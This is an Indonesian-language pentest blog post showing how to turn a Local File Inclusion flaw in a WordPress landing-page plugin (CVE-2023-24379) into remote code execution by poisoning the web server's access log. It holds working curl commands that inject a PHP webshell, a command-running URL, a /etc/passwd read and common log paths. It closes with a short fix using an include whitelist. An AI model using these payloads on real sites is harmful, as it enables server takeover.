Injeksi File Access Log Untuk Eskalasi Kerentanan LFI ke RCE

Problem Child
MII Cyber Security Consulting Services
4 min readApr 17, 2023

--

Pada kesempatan kali ini saya akan membahas mengenai bagaimana kita meng-eskalasi kerentanan LFI menjadi RCE sehingga nantinya kita mendapatkan finding dengan severity yang tinggi. Hal ini tentu akan menjadi nilai plus ketika kita sedang melakukan bug hunting pada program Bug Bounty ataupun melakukan pentesting pada aplikasi klien karena (biasanya) semakin tinggi impact dari bug yang kita temukan maka akan semakin tinggi juga apresiasi yang didapat.

Oke, sebelumnya kita bedah dulu pengertian dari kedua jenis kerentanan yang akan kita bahas.

Apa itu LFI?

LFI (Local File Inclusion) adalah jenis kerentanan keamanan yang memungkinkan penyerang untuk mengakses file-file yang tidak seharusnya dapat diakses di sistem yang terkena serangan. Ini terjadi ketika aplikasi web tidak dapat memvalidasi dengan benar input yang diterima dari pengguna, sehingga memungkinkan penyerang untuk menyisipkan path file yang tidak sah ke dalam permintaan HTTP. Ini dapat menyebabkan aplikasi web untuk mengambil dan menampilkan file yang tidak diinginkan, seperti file konfigurasi sistem atau file yang mengandung informasi sensitif.

Apa itu RCE?

RCE (Remote Code Execution) adalah jenis kerentanan keamanan yang memungkinkan penyerang untuk mengeksekusi kode berbahaya pada sistem yang terkena serangan. Ini terjadi ketika aplikasi tidak dapat memvalidasi dengan benar input yang diterima dari pengguna, sehingga memungkinkan penyerang untuk menyisipkan kode yang tidak sah ke dalam permintaan HTTP.

Untuk studi kasus, kali ini kita akan membahas eskalasi kerentanan LFI menjadi RCE pada CVE-2023–24379, sebuah kerentanan pada plugin WordPress Landing Page Builder — Free Landing Page Templates versi 3.1.9.8 kebawah. Plugin ini menggunakan fungsi PHP Include untuk memanggil Landing Page Template. Namun sayangnya tidak ada sanitasi user input maupun whitelist dari plugin, sehingga memungkinkan pengguna dengan hak akses Editor untuk memanggil dan menampilkan file yang seharusnya tidak boleh ditampilkan (seperti file /etc/passwd, dll).

Disini kita bisa memanggil file /etc/passwd melalui parameter lpp_template_select.

LFI at lpp_template_select
LFI confirmed

Lalu bagaimana cara menaikkan impact dari kerentanan ini? Singkatnya kita akan menginjeksi file HTTP access log dengan script PHP kemudian kita panggil file access log tersebut melalui kerentanan LFI yang kita dapatkan. Kenapa HTTP access log? Haruskah HTTP access log? Sebenarnya tidak harus HTTP access log. Kalian bisa sisipkan file PHP pada file log lain, namun biasanya dipilih HTTP access log karena secara default user dari web server memiliki hak akses read dan write ke file HTTP access log.

Pertama, kita inject file access log dengan script PHP. Untuk percobaan awal, kita bisa gunakan fungsi PHPinfo.

curl -X "<?php phpinfo();?>" http://localhost/wordpress/

Berikut log dari web server ketika kita periksa.

PHP Script at Access Log

Selanjutnya kita coba panggil file Access Log tersebut melalui parameter yang rentan terhadap LFI.

LFI to RCE

Oke setelah terkonfirmasi bahwa script PHP yang kita kirim dapat dipanggil, sekarang kita gunakan script php webshell.

curl -X "<?php echo passthru(\$_GET['cmd']);?>" http://localhost/wordpress/

Sekarang tinggal kita panggil webshell nya melalui browser.

http://localhost/wordpress/landingpage_f/asx/?cmd=ls%20-lha;uname%20-a;whoami
LFI to RCE

Lokasi File HTTP Access Log

Untuk file HTTP Access Log sendiri berbeda-beda, tergantung dari web server yang digunakan. Secara default untuk Apache ada di file berikut:

  • /var/log/apache/access.log
  • /var/log/apache2/access.log
  • /etc/httpd/logs/access_log

Untuk Nginx ada di file berikut:

  • /var/log/nginx/access.log

Inject point-nya pun bisa disesuaikan. Pada contoh ini saya melakukan injeksi script PHP di bagian HTTP Method pada file log, namun format log yang kalian dapati bisa saja berbeda. Kalian bisa explore sendiri.

Bagaimana cara mencegah serangan LFI?

Metode paling minimal untuk mencegah serangan LFI adalah dengan menggunakan whitelist untuk komponen yang akan dipanggil melalui fungsi include dan mengabaikan file lain selain yang sudah masuk kedalam whitelist. Bisa juga dengan menyimpan path dari file kedalam database dan memberikan ID kepada masing-masih path. Yang nantinya ID tersebut yang akan dipanggil oleh user, dan bukan file.

Oke, terimakasih telah membaca artikel mengenai Injeksi File Access Log Untuk Eskalasi Kerentanan LFI Menjadi RCE. Jika ada masukan atau saran silahkan tinggalkan komentar.

--

--

MII Cyber Security Consulting Services
MII Cyber Security Consulting Services

Published in MII Cyber Security Consulting Services

MII Cyber Security Consulting Services is a division under PT. Mitra Integrasi Informatika and part of Metrodata Group. MII Cyber Security Consulting Services provide following services : Security Assessment, DFIR Services, MSS SOC, Training, and other cyber security fields.

Problem Child
Problem Child

Written by Problem Child

GNU/Linux Enthusiast | Security Researcher | Penetration Tester